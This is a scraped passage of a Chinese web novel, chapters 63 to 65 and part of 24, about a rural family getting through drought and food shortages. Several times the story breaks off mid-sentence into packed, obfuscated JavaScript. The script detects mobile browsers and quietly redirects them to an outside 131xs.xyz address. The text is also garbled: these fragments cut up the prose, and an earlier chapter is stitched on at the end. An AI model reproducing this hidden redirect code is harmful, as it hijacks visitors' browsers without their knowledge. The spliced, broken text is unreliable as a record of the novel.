l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737370|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身鳞片红绿色交加，一看就有毒，蛇尾缠在孩子脚上，蛇头趴在孩子手上，此刻正嘶嘶的吐着信子。 “黄队长，这咋办啊？”年轻的干警一脸为难，刚入队就遇到这样棘手的事情，让他有些手足无措。 钟新澄泪眼汪汪的，一动不敢动。 他本来要离家出走的，又不敢走太远，就躲到了村长家的柴火堆里，他把柴堆内部掏了一个小洞出来，就这么躺了进去。 起初听见家里人的喊声，他不敢应答，害怕回去要挨打，后面等着等着就睡着了。 睡醒感觉身上凉丝丝的，还感觉怪舒服的。 一睁眼跟那花蛇看了个对眼，就有了那一声尖叫。 “救……救命”钟新澄咧着嘴，想哭又不敢哭。 “让木木别动，找个活物给蛇引过来，那火钳钳住。”钟莹莹提了个意见后就低着头，不敢看他，害怕见到他在自己眼前被蛇咬。 黄有德听了决定赌一把，他也没有什么抓蛇的好办法。 就这么让蛇缠着孩子也不是办法，万一孩子一动，蛇给他来上一口，那就完蛋了。 村长钟强先拿来了自家的小鸡。 黄有德用绳子绑住鸡脚，绳子的另外一端系在竹竿上，确定系紧了，让那个年轻干警拿着竹竿引诱花蛇，自己拿着火钳走到近处。 让周围围观的人站远点后，他跟钟新澄说：“木木闭眼！” 钟新澄顺从的闭上眼睛。 绑在竹竿上的小鸡掉在半空中一直挣扎，在接近花蛇的那一瞬，它就‘唰’的一下伸头去咬鸡。 黄有德反应也很迅速，在蛇头咬住鸡翅膀的瞬间，一火钳夹在了花蛇的七寸上，之后更是使尽全身的力气，夹住蛇身，用力一扯，把蛇从钟新澄身上拽下来，连着火钳一块甩向远处。 落地后的花蛇，嗖地一下钻入草丛中消失不见了。 “快，检查一下孩子身上有没有伤口！” 蛇跑了，他们的使命还没有完成。 钟明月第一个上前，把已经被吓傻了的钟新澄抱出来，给他身上的衣服都脱了，里里外外细细检查了一遍，确定没有咬伤才一把将孩子搂在怀里：“你吓死我了！” 她身体微微发颤，是真的很害怕。 钟新澄环住她的脖子，也是哭的很惨。 钟伟先捡回火钳还给钟强先，又让钟绍华回家抓了一只鸡给村长老婆。 对着今天来帮忙的几个干警道：“几位警官，辛苦了，这大半夜的，不如留下吃个夜宵睡一觉再回去？” “爹，这是违反纪律的事情，没有什么辛苦不辛苦的，职责所在，没什么事情，我就先带他们回县里了。”今天真的很险啊，好在是虚惊一场。 钟伟先送他们离开。 村里人也散场了，钟新澄被抱着回了钟家，院门一关，他就抖了一下。 钟伟先掏出一根细竹条递给钟绍华，钟明月将钟新澄给放到堂屋地上。 陈显英把钟莹莹和钟丽丽都叫过来，一起听训。 钟绍华还没动手，钟新澄就抱着他的大腿哭嚎：“爹，你别打我，我知道错了！我知道错了！”那声音真是见者流泪，听者伤心。 钟绍华不搭理他，他又转头去求钟伟先和陈显英，屋里没人有笑脸，他就知道，今天这顿打，他是逃不掉了。 63. 第 63 章 竹条蘸盐水，边打边消毒。 “下次还敢吗？” “呜呜呜~爹，我不敢了~”钟新澄嚎的嗓子都要哑了。 丽丽躲在一边不敢看，被吓的眼睛也红红的。 “行了，绍华，别打了，孩子知道错了！”陈显英终究是不忍心。 “娘~”钟绍华有些生气。 他娘总是这样，每次教训孩子，她都会阻拦，今天还拦？她的好大孙再不教育，不知道会干出什么事来！ “算了，我不管了，别给孩子打坏了，其他的随你吧！”陈显英眼神疲惫的走了。 她老了，管太多有点招人烦。 钟伟先看她好像不舒服，也跟着走了。 灯火摇曳下，钟绍华无力的放下手中的竹条，打孩子他不心疼吗？他就这么一个儿子。 见钟绍华停手，钟新澄小声抽噎道：“爹，我真的知道错了，我不敢了！” “哥，这事也怨我，是我没看好他。”钟莹莹跟着劝。 钟明月把父子俩从地上拉起来，对着钟家另外几人道：“都这么晚了，回去睡觉吧，明天还得干活呢！” 钟明芳把丽丽抱回黄家去了。 钟新澄抽抽嗒嗒的要跟钟莹莹睡，钟明月拿了红花油，给他擦被竹条抽出来红痕，钟绍华下手有分寸，让他痛，但不会破了皮。 “娘，我好疼～”钟新澄委屈巴巴的。 “下次还敢吗？”钟明月既心痛又觉得他活该。 钟新澄小手一抹眼泪，吸吸鼻涕：“不敢了！”再也不敢了。 那大蛇缠他身上，他都要吓死了。 以后谁离家出走，他都不走。 钟莹莹思前想后，觉得还是有必要跟他解释一下：“木木，今天姑姑没有偏心，给丽丽是吃的白茅根，你在家我不是也经常拿给你吃吗？你吃的比她还要多。” “姑姑，对不起，是我不好。” 钟新澄也不知道那时候怎么了，好像脑子一热就跑出去了。 姑侄俩重归于好，钟明月拧上红花油的盖子，嘱咐钟莹莹和钟新澄早点睡，收了东西就出去了。 “木木今天这事你怎么看？” 屋里钟绍华躺在床上一动不动。 “我？”钟明月不解。 钟绍华看着蚊帐顶，直愣愣道：“孩子因为一点零嘴就闹矛盾离家出走。” 钟明月垂眸：“还不是穷闹的！” 要是她爹还活着，家也在，她的孩子何至于此。 钟绍华像是下定了某种决心：“明月，我跟人出去的时候，听到矿上在招临时工，我想去试试。” 离钟家岗最近的矿场在县城的另一端，环境很恶劣，给的工钱也不多，偶尔还会传出矿洞塌陷的消息，就这，他们县的人，依旧趋之若鹜。 尤其是近来收成不行，矿上卖煤，旱涝保收，苦就苦点，大多数人认为，能给家里人挣点粮食换顿饱饭已经很知足了。 万一运气不好，死在里面，就算是临时工，也能得到一笔不菲的抚恤金，照料家人。 钟明月一听立马着急了：“不行，你不能去。” 矿上多危险啊，为了给孩子好生活丢了丈夫，钟明月不愿意看到这种场景。 “再说吧，人家还不一定要我呢！”一个临时工的岗位在现在也是香饽饽，钟绍华不敢肯定自己一定能拿到那个工作。 见钟绍华话里话外都没有打消念头，钟明月已经开始在脑海中搜寻，自己爹当年的那些朋友有没有能给她提供帮助的。 人走茶凉啊，要是真有，她也不至于流落到钟家岗了。 半夜，钟新澄发起高热，钟莹莹脚丫子碰到他的腿，感觉温度不对，立马去钟绍华那屋喊人：“哥，嫂子，木木发烧了！” 钟绍华跟钟明月穿上鞋子抱着孩子就驾着牛车去镇上找医生去了。 钟伟先和陈显英是第二天才知道这件事情，他俩年纪大了，一惊一乍的对心脏不好，兄妹俩一商量就没喊他们。 看着挂水的大孙子，陈显英眼泪要落下来，捏紧拳头锤钟绍华：“都说了，别打孩子了，你看，这下好了吧！” 一生病，仿佛孩子犯过的错都成了过去，没人会再记得。 退烧的钟新澄病恹恹的没有一点精神。 钟家人又吵起来了。 “不行，我不同意。”钟伟先猛地一拍桌子，厉声呵斥道。 “爹，你不同意我也要去试试。”钟绍华也很倔强。 陈显英在父子间周旋：“绍华啊，你又不是不知道咱们家那些事，哪些都是禁不起查的。” 钟家一家人的来历都很奇葩，钟伟先祖上不干净，钟伟先他爹钟思霖曾留下话，让子孙后代，老老实实在钟家岗当个农民，三代以内，不可出去，等到知道那些事的人都死绝了，才能顺应心意行事。 陈显英她爹也是个大雷，被抓去了小岛，查的不严没事，被人扒拉出来，也够受的。 至于钟明月，富豪家庭出身，他爹没了，钱全捐了，仍旧有人觉得她家里还有东西，不愿意放过她，想要吃绝户。 一家子乱七八糟的凑在一起，随随便便一点风雨都能将这个小家给击垮。 “娘，那些事情都过去那么多年了，有谁会记得？”钟绍华其实也不太清楚是什么事情，只知道不太光彩。 钟伟先冷哼一声：“万一呢？万一有人记得，还注意到了，让你爹娘和那些地主一样被打倒吗？还有你媳妇，咱们一家子都落不到好！” 钟莹莹从屋里出来，有些好奇，她家究竟有哪些事情见不得光啊，不当村干部也就算了，现在她哥想出去找个活干都不行。 她只知道祖上发达过。 “村长他爹娘都没了，还会有谁记得那些事情啊！”钟绍华有些崩溃。 他这个亲孙子都只知道一点，家里祖上貌似不干净，村长那边他也旁敲侧击过，压根说不出个所以然来，村长他爹活着的时候，倒是有些神秘，还对他爷爷言听计从的。可现在人都走完了，上上辈的事情，当事人知情人都没了，钟绍华不信还能影响他们家。 至于户籍方面，他找现姐夫也查过了，没有任何问题，他家里清清白白的。 明月那边有点小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742722|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题，但不去遂县，也没人抓着这点不放。 钟绍华平复一下心情，继续劝说他爹娘：“爹，连我都不知道家里究竟有啥事，村里也没人知道，姐姐和姐夫结婚的时候，政审也没问题，真的没事的！” 钟伟先也有些被他说动了。 钟绍华看他表情松动，立马乘胜追击：“爹，你看现在这天，说旱就旱，我们在地里刨食没问题，你忍心让莹莹和木木还有丽丽他们以后还过这样的生活吗？” “可矿上的活你干的来吗？”钟伟先还是有点不放心。 钟绍华斩钉截铁道：“都当爹的人了，哪里有什么干不来的！” 钟莹莹知道，他行的，上辈子在土里刨食都能养活一大家子，他怎么不能！ 不过，她现在比较好奇的还是，她家祖上究竟是干嘛的，这也不让干，那也不让干，也太坑了吧！ 钟莹莹戳戳陈显英的胳膊：“娘，咱家以前究竟是干什么的啊？” 陈显英不想跟她说：“小孩子家家的，打听大人的事干什么？没事看睡会儿去，昨天折腾一晚，今天又起那么早，你不困啊？” 本来钟莹莹是想睡觉的，可被勾起了好奇心，哪里还睡得着。 她缠着陈显英：“娘，你就告诉我吧，我保证不往外说！” 钟莹莹伸出四根手指，就差指天发誓了。 陈显英抵不过她的纠缠，害怕不告诉她，她出去到处瞎问，惹出更大的麻烦来，只好满足她：“你知道你爷爷祖上是逃荒来的吧？那一路上能没遇到过危险吗？村长家以前归咱家管的，也就你爷爷那辈分开了，大家各过各的。” “其他的，我也不知道了，这些事情你不要往外说。”陈显英说话的声音很小很小，她其实知道的也不多，以前公婆很少谈论这些事情。 钟莹莹理解成了家里以前干土匪的，村长是家里奴隶，但好像也对不上号，村长家里也姓钟。 她又想到另外一种可能，倒吸一口凉气，不会吧，她祖上这么牛批的吗？ 战乱时期逃荒，能一路打过来，手里指定有武器，还有手下，妥妥的大户，且不是正规军啊。 “娘，咱家以前没人当过奸细吧！”杂牌军不要紧，卖国事大，生在红旗下，长在春风里的钟莹莹无法接受的只有这一点。 “咳咳咳～”陈显英连咳好多声：“奸你个头，一个脑瓜子不要东想西想的，净说些乱七八糟的东西，还不睡觉去。” 看她娘的反应，她就知道，看来只是不正规。 不是卖国贼就行，钟莹莹放下心来，老老实实回去补觉了。 钟绍华还在和钟伟先商量事情。 等到钟莹莹一觉睡觉，已经到下午了，家里除了病歪歪的钟新澄，其他人都不在。 钟新澄提醒道：“姑姑，奶奶给你留了饭，在锅里。” 钟莹莹吃了饭，跟钟新澄玩了一会儿，家里其他人也回来了。 她才知道，她哥的工作定了，不是去矿上当临时工，是去制糖厂那边当工人去了。 走的黄有德的关系，不仅她哥，一道去的还有村长大儿子。 64. 第 64 章 钟家岗的年猪跟之前预想的一样，最终没留到过年。 村民们已经很努力的在打猪草，省粮食给猪吃了。 它们身上的肥膘还是在肉眼可见的下减少。 县里最近还有小道消息传有村子的猪得了猪瘟全死了。 钟强先大手一挥，全都宰了，吃了比浪费强。 得猪瘟的猪他们也吃的，舍不得扔，吃了会生点不大不小的病。 “好香！”钟新澄吃的满嘴流油。 陈显英把分到的十几斤肉都给炸了，肥肉炼成油渣，瘦肉放到炼好的猪油里炸一炸，放花椒和盐，凉透了，和猪油一块装到坛子里，放到地窖阴凉处储存，能放好几个月不坏。 她一边炸肉，几个孩子一边守着灶台偷吃，被竹漏勺捞出来的油渣，他们也不嫌烫，就这么抓了龇牙咧嘴的放到嘴巴里嚼。 “晾一晾再吃，等会给你嘴巴烫个大泡就老实了。”陈显英一边捞肉，一边提醒几个孩子。 刚出锅的炸肉，温度高的很，尤其咬开后里面爆汁的肥肉，初吃只觉得香，反应过来舌头已经被烫的尝不出味道来了。 接下来好多天舌头都会麻麻的。 “啊呜～没事……没事的。”丽丽吃的也停不下嘴。 钟强先现在变得很鸡贼，上面说养了猪要交一半上去，可没说是哪一半，过了称之后，他挑了瘦肉多的拿出去。 还把送过去的那半边猪肥肉剃了不少，塞了瘦肉进去充数，问就是杀猪人技术不行，刀子下歪了，导致肉散掉了。 能多拿点肥肉，多炼点猪油，村里没人会去拆他的台。 至于上面怎么想，他管不了那么多了。 都提前杀猪了，也不差这点违规操作了。 总不能因为这点小事，就枪毙他吧！ 钟强先咬了一口自家婆娘炸的肉，被香迷糊了。 心里只想着，真要枪毙他，做个饱死鬼，他也认了。 还别说，这肥肉吃着就是要比瘦肉香的多！ 钟绍华的工作进展的很顺利，虽然只是最底层的搬运工，一个月下来，也分了不少福利。 糖厂、糖厂！ 产糖的地方，可不是富的流油。 其他东西没有，就是糖多。 这年头人们肚里缺啥？油水和糖分！ “娘，我把得的工资和票全换成糖了。” 钟绍华一放下行囊就来了灶房，跟几个孩子一块抢肉吃。 “换那么多啊？”陈显英有些不解。 都进了糖厂，也不怕以后没糖吃了，这么着急干什么？ “今年没雨，糖厂收甘蔗和甜菜也收不上来，干完这段时间，把存货用了，可能要停工了。” 钟绍华敏锐的感觉到这里面有不对的地方，所以才找工友把工资和票据全换成了糖。 这玩意和盐一样，只要别让虫子爬了，耐保存的很。 在厂里换这东西简单，多给些钱，他们愿意交易的，等到了外面，再想找人换，没有票，谁理你啊？以前倒是能换，因为产量多，工厂往外放的也多，今年不行。 “那多换点好啊，我看这是要变天了！”陈显英停下手中的动作，心中很是不安。 这都多少年没遭灾了，过了这么久的安稳日子，她是真不想再经历那些。 钟伟先在修屋顶，捡瓦片，每年都要来这么一遭，今年没雨水，捡瓦的时间推迟了很多，都入秋了才开始干活。 钟绍华在灶房贫了两句后就出来帮忙了。 “莹莹，你去灶房吃点东西，我来给爹扶着梯子。”钟绍华嘴里叼着一块肉，出来顶替了钟莹莹的工作。 有人接替，钟莹莹退位让贤，直奔灶房干饭去了。 三个孩子一人吃了一小半碗油渣，钟明月不让吃了，把他们都赶出灶房，让他们去外面玩。 不是舍不得，是因为平日里荤腥吃的少，一下子吃太油腻会拉肚子的。 钟家原本的大缸，那年水灾后办咸菜厂，就运到那边充公了，算是钟家人的投资。 陈显英让钟伟先去吴家村又买了几口缸回来。 目前唯一没有减产的，只有吴家村的砖窑厂。 不靠老天的脸色收成，有煤炭和粘土和页岩，想烧多少烧多少，烧出来也不愁卖，一个又一个单位拿着批条直接采购走，个人想要他们还不卖嘞！ 新的水缸坐落在院子角落里，钟伟先砍竹子在上面搭了个小凉棚，又编了竹盖，把水缸盖的严严实实。 学校说是要开学，最后也没开，干脆贴了公告，让学生在家自学，下个学期再恢复教学。 城里缺粮已经到一种很严重的程度了。 大家的首要目的是活着，没人有心情去关注学校怎么怎么样了。 钟莹莹下学期中考，对于这个，她还是很在意的。 闲着在家的时候，除了跟着村里其他孩子一块出去到处打野、偷渡点自己空间攒的东西到自家粮缸里，她就只有学习、学习、还是学习！ 她是摆烂人不假，她对这个年代的大学也是很感兴趣的。 含金量最高的时候，还没闹后面的幺蛾子，赶一赶路，能赶在那些事情之前毕业，到时候分配回老家的机关单位工作，旱涝保收，岂不是能够更好的摆烂。 她的学习精神极大程度的鼓舞了钟家岗的家长们，饿着肚子还不忘好好学习。 自家孩子也得跟上，于是一个个钟家岗的娃娃被赶鸭子上架似的被逼着学习。 天晓得钟莹莹才没有让自己饿着肚子，打野的时候，她不知道偷渡了多少东西。 表面上大家都能看见的她不取，留着给其他人，深处其他人找不到的，简直就是她的乐园，收割了一波又一波。 学习的时候没事咂巴一下嘴，在所有人都瘦了的时候，她也瘦了，不是饿瘦的，而是长高了，开始抽条了。 她才十一岁，已经长到一米五了。 隔壁老万收养的何止尧瘦瘦小小的，比她矮半个头。 “咱莹莹又长高了，这裤脚又短了一截……”长高带来的不止有喜悦，还有烦恼，陈显英有些苦恼，孩子的衣服老是赶不上趟儿，不是胳膊露出一截，就是脚腕露出好长一截。 “我给改改，接一截布上去吧！”做衣服的时候， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745604|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟明月已经尽可能往大了做了，没想到还是没她长得快。 “今年几个孩子也是遭罪了，连件新衣服都做不成！” 家里的钱票都紧着换粮去了，也没法再给孩子凑新衣服的布料。 爱孩子的家长总是对孩子心怀愧疚，觉得自己没给孩子提供良好的生活条件。 糖厂没原料了，也陷入了漫长的停工期，等到来年夏天，原料长成，才会再次动工。 一家子七八张嘴，只能靠存粮度日。 钟强先家新媳妇楚琳琳这个截骨眼上怀了，钟强先既喜悦又忧愁，他自己那一大帮孩子都养活的很困难，吃了上顿愁下顿。 要有新生儿，是喜事，吃什么，他很发愁。 钟强先家要有新生儿，最激动的不是他们家人，而是钟绍华，他跟钟明月就生了钟新澄这一个，这么多年控制的好，也没在来二胎，他还是怕了，害怕再来个娃，给本就困难的家庭雪上加霜，他做了一个重大决定，他要结扎。 害怕家里人不同意，他没敢说，去找姐夫黄有德借了钱。 没想到黄有德对这个也挺忌讳，两个人一顿嘀咕，一拍即合，姐夫和小舅子一道去了医院做了结扎手术。 等家里人知道的时候，事情已成定局。 “我说你咋那么能耐啊？手术都敢随随便便做了！” “娘，疼疼疼！”钟绍华的耳朵在他老娘手里被拧成了麻花。 “疼就对了，不疼不长记性！” “你不跟我和你爹说就算了，连明月你也瞒着，还有那个黄有德，也是个坏胚！”陈显英气得直接喊他大名骂，平时她可是一口一个好女婿的。 钟莹莹给她哥竖了个大拇指，厉害了我的哥，结扎手术，直接走在时代前沿了，上辈子那一大串孩子，直接没了出生的机会，包括她上辈子的老爹，不出生也好，少受点生活的苦。 她姐夫也是个牛人，要知道，就算是计划生育最严的那几年，没几个男人愿意结扎的。 虽然妇女节育上环十分痛苦，但是计划生育还是让女的去上环，说什么男的结扎就干不动活了，这在后世已经证明，纯纯就是诈骗。 钟绍华和黄有德结扎的事情在钟家岗掀起了不小的波澜。 很多人都是看笑话，他们就算过的再艰难，也觉得多子多福是好事。 俩人的媳妇对这种事情接受程度比想象中的高，生过孩子的女人，已经有了娃娃，不用再生孩子，就是不用再承受痛苦。 再说了，结扎的又不是她们，退一万步来说，丈夫不能生，她们以后又很想要孩子，也不是不能换个丈夫，虽然现在看来不太可能，目前的丈夫她们就很满意。 “哥，吃饭！”钟绍华术后变成了家里的一级保护废物，衣来伸手，这条划掉，饭来张口倒是真的。 多少是个手术，陈显英打归打，还是心疼这个儿子，他被勒令卧床休息，跟坐月子一样，村里人没事就过来看稀罕物件一样瞧稀奇。 钟绍华被关的都快疯了。 钟莹莹瘸腿时遭的罪，他也经历了一遍。不同的是一个是真不能动，一个是被家里压着不给动。 65. 第 65 章 村里早先在新修的小道边种的柿子结了果，还没成熟就有麻雀过来偷吃，孩子们就拿个弹弓打麻雀。 钟伟先找来橡皮筋，一个孩子给做了一个小弹弓，钟莹莹准头不太行，打不中猎物，还比不上丽丽和钟新澄。 她干脆舍了弹弓，专心搓泥丸，给俩大侄补充弹药。 打下来的麻雀拔了毛去了内脏烤来吃，喷香喷香的。 很快，这项游戏又取消了，柿子被全部摘了下来，一部分用水和不知名的材料泡了做脆柿，另一部分放进篮子里码好，盖上盖子，准备给它们捂熟。 没了果子，树上也引不来鸟群，只有稀稀拉拉的几只偶尔会飞过来。 家里的屋檐下倒是有小燕子，但是大人不让戳燕子窝，说家燕报福，戳了就把福气戳没了。 根据后世的调查，钟莹莹觉得这一俗语可能更多的源于燕子身上有病毒，吃了容易生病，才生了俚语，说燕子送福，吃了就把福气吃没了，让后代不要吃且敬而远之。 柿子被捂了好几天，钟伟先打开篮子，挨个捏了捏，挑出几颗已经变软的出来，一个孩子分一颗，他自己也拿了一个放在嘴边咬开，吸允丰柿的蜜汁，他赞叹道：“今年的柿子好甜啊！” 天热，果子结的反而比平常要甜的多。 这还是他们一桶水一桶水浇灌出来的，吃起来就更加甜了。 “少吃点，剩下的熟了我挂起来做柿饼留着冬天吃。”陈显英忍不住拍拍他的胳膊，提醒道。 冬天本来就没啥新鲜吃食，柿饼算是难得的甜蜜了，都吃完了，拿啥做柿饼，冬天哄孩子？ “早吃晚吃都是吃，孩子们开心就行，你也尝尝，真的很甜！”钟伟先把一个掰开的柿子怼到了陈显英的嘴边，糊了她一嘴。 这下子她没办法说话了，陈显英就着钟伟先的手吃完了半个柿子。 钟伟先眨眨眼睛：“甜不？” 陈显英嗔道：“就你话多，甜，甜的很行了吧！” 孩子们跟着笑起来，钟莹莹感慨她爹娘的感情可真好，都老夫老妻了，还能亲亲密密的。 爹娘都活着，这物资匮乏的年代好像也没那么难熬，她都不需要努力，她爹娘就能把一切事情给处理好，富贵谈不上，但让她吃饱穿暖还是可以的。 有爹娘的孩子是个宝，不遇到那种特定的倒霉事件，她爹娘自己就能搞定一切，她只需要在他们的羽翼之下做个摆烂王就行。 掠夺赵擎家的那笔财富，足以让改革开放后的她拥有一个躺赢的人生。 天气越来越凉，一大早刚起来，钟莹莹就发现屋外的泥土和植物全都蒙上了厚厚的一层霜。 陈显英搓了搓手，朝掌心哈了一口气，暖了暖手道：“打霜了，该收南瓜了。” 钟家岗最终没有种成多少水稻，时间太晚，水不够，秧苗也少，只少数倔强的几个人，分开插种了一两亩田，到现在以往已经要完成收割的季节，地里的水稻还稀稀拉拉的没结几根穗子，村里人都放弃那一点点的可能了。 钟家岗播种了一季秋南瓜，得益于勤勤恳恳的灌溉和施肥，所幸收成还不错，这个冬天应该不难捱。 “走，把水稻割了去！”钟绍华终于被允许出门干活，恨不得立马大显身手。 没有穗子也不能浪费，稻秆割回来可以喂牛，他们钟家岗的宝贝，出远门全靠它，可不能让它饿着了。 吃不完了，还可以晒干，存起来，留着冬天给牛慢慢吃。 牛吃不完的，还可以磨粉掺到粮食里，人也可以吃，人吃不完还可以烧锅用。 随着时间的推移，地里一颗颗南瓜已经变得澄黄透亮，看着就能让人感觉到它由内而外透出的甜蜜。 钟家岗人最近忙得很，白天晚上不带停歇的轮守在地头，就害怕有人偷了他们的辛苦种下的果实。 “嘿咻～” 地里摘下来的南瓜被一颗颗搬到了晒谷场，钟强先打算不入库，直接当众分了。 “国家一个，村里一个。” “国家一个，村里一个。” …… “好了，分完了！” 村里的那堆，个头显然有些超标。 不过无人在意。 作为一个在今年一年到头，只下了一场毛毛雨，还有能力交公粮的村子，钟强先觉得目前这个量已经足够优秀了。 留下的大南瓜，按照户头和人口被分往每家每户，记分的那个小本本都没人看了，大家干活都很幸苦，这段时间，记的分基本一致。 赶着牛车去交公粮时，镇上粮站的工作人员热情接待了他们，一边搬那些小南瓜入库，一边还跟钟强先吐槽：”老乡啊，你们都不知道，今年底下人都跟造反了一样，交粮一点不积极，来交的稀稀拉拉拖了半板车的都少见，好多直接都没来，有些不交就算了，还舔着脸想来要救济粮，我们哪有粮发给他们啊？” 末了他又补了一句：“还是你们实在！” 满满一车的粮食，虽然只有南瓜，但也能让他们有东西可以交差了。 听到这话，钟强先脸上的笑一下子僵住了，这不杀人诛心了嘛！草率了，交多了！ 他以为其他村的为了面子，会跟之前报纸上登记的产量一样，打肿脸充胖子，哪怕没收成，也要咬咬牙多交点上来。 没想到大家都吸取教训，学精了！合着只有他自己成了大傻子！ 其他村：怎么交啊？拿脸交啊？人都快要饿死了，之前偷懒搞的地里也没啥收成，想做假也做不成！ 驾着牛车垂头丧气的回到村里，看着地里满地的南瓜藤，钟强先又重新打起精神。 他只交了南瓜，地里还有高粱和红薯，这采收完遍地的南瓜老藤老叶也是宝贝。 以往直接打碎了埋地里做肥料，或者拖回家晒了当柴烧，今年也像个宝贝一样，收割上来，晒干了，各家各户分了。 整整一年的干旱，让大家都变得节俭起来。 村里种的稀罕物，高粱也收割了，一粒粒红色的果实被锤打下来晒干，村里人还不知道这玩意要怎么吃，看起来和大米小麦差不多，是不是得先脱壳再吃。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753657|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不管了，上石碾子，连壳带芯统统磨成粉粉。 粉粉兑点水，捏成团团，不管啥玩意都能入口，若是食物本来的样子，那就有点太喇嗓子了。 各种作物的收成远远比不上往年，但已经让人很满足了。 红薯是最后被挖掘上来的，红薯秧被拨到一边，一连好几天没浇水，叶子边缘都焦了，他们才去挖红薯。 红薯钟强先不打算往上交了，反正大家都不交，又不会光抓他们村。 就是需要低调些，人家是因为没粮，他们这有粮，可不能招到红眼病去县里给举报了。 是以挖红薯是在晚上进行的，都是村里人，不会有别村的人刻意路过，等到明天一早有人来，他们已经挖完了，且可以说产量不行，还不够自己吃的，反正红薯长在地里，也没人知道他们挖了多少。 南瓜交了那么多上去，红薯自留是他们应得的。 长条大板凳上被开了口，绑了大刀片，钟莹莹跟钟新澄几个在扣红薯上比较大块的泥巴，扣完以后递给钟绍华，他坐在长条板凳上，把红薯拿过去放在刀片和板凳开口处，一上一下摩擦，红薯就被一片片的片成厚片。 钟家院里支起了竹席，片成片的红薯被一片片铺平在竹席上，经过阳光的照射，变得干燥，耐存储。 以前他们是切了后直接晾清理干净的红薯地里，现在粮食金贵，容易招人眼红和招小偷，可不能再那样搞了。 院子小，晾晒面积不够，剩下的红薯，钟伟先挖了土坑给它埋了，让它们以为自己还在土里生长，低温情况下，也不会坏掉，吃的时候刨开土，吃多少取多少。 “娘，今年小麦还种吗？”水稻没种，总不能冬小麦也不种了。钟莹莹两辈子都没啥种地的经验，对这些东西实在不了解。 “种啊，怎么能不种，你村长叔不是进城领麦种去了吗？” 秋冬季，天气不热，水分蒸发的也没那么快，小麦没水稻对水分的要求高，就算还是不下雨，人工灌溉，还是有概率能存活下来的。 南瓜土豆这些作物，终究只是代食，没正经粮食让人欢喜。 “除了种小麦，还种些啥啊？”钟莹莹很好奇。 “咱家菜地里不是有韭菜还有菠菜吗？黑黑白也是能过冬是。”所谓黑黑白，就是他们本地的一种小白菜，黑心白菜，纤维很多，嫩的时候还行，老了卡嗓子，小孩牙齿嚼不烂，咽下去还能从喉咙里完整的扯出来。 钟新澄听见黑黑白，小嘴叭叭的就开始说：“黑黑白可难吃，比发的救济粮还难吃！” 丽丽也表示赞同，所有孩子的意见空前统一，可见这玩意究竟有多难吃。 陈显英气乐了：“不让你们吃，到时候我焯水晒干了，过年给你们包包子吃。” 钟新澄咂巴咂巴嘴，似是在回忆某种滋味，他点头道：“包包子行，包子好吃。” 钟明月伸出手指点点他的脑袋：“就知道吃！” 钟家岗这边的和谐，刺激到了外面人的眼，有和村里人沾亲带故的，被人怂恿着过来借粮。 24-30 第24章 宋茹来火车站送朋友，人走之后，在火车站门口看见这一家三口，直接呆住了。 虽然穿的衣服变了，之前是夏天，衣着单薄，现在是冬天，身着厚厚的大棉袄。 但是那个小女孩，化成灰她都记得，那是她的救命恩人啊。 没有她估计她还会在那个地狱里浑浑噩噩。 当时她跑了无数次，也被打了无数次，整个人都绝望了。想着，要不就这么算了，反正结果都那样。 心灰意冷的时候，有人给她指引了方向。 这一辈子她都会记得。 眼见着一家人就要走，她急忙追过去了，拽住了钟莹莹：“你还记得我吗？” 钟伟先把孩子扯回来，紧紧揽住，一脸警惕，心想，这刚出火车站就有拍花子的，这大城市比乡下还不安全。 “你是？”陈显英仔细盯了她一会儿，也没能在记忆里找出对应的人来。 这姑娘穿着一身呢子大衣，脚下还踩着一双皮靴，头发时髦的烫成了卷发，哪里会是他们这种乡下人能够认识的人物。 当时在吴家，光线很暗，宋茹鼻青脸肿的，她也没细看，哪里认得出。 倒是钟莹莹，仔细观察了一会儿，就认出来了：“娘，是那个寄信的姐姐。” 陈显英立马明白了。 “对，我是宋茹。”宋茹立马自我介绍。 当时被救之后，她托公安局的人打听了一下关与吴家人的社会关系，很轻易的搞到了钟家人的信息。 害怕给他们带来麻烦，没敢找过去，隔了几个月才从海市寄了个包裹过去，表示感谢。 “大娘，你们来海市是有什么事吗？” “我娘生病了，我们来这看病的。”钟莹莹答道。 “生病？那你们找到住的地方了吗？没地方住可以先住我家。”宋茹心想，这下抓到机会能够报答回去了。 “那多麻烦你啊，我们住招待所就行。”很多人很忌讳这些，害怕病人把病气过到自己家去。陈显英也不想讨人嫌。 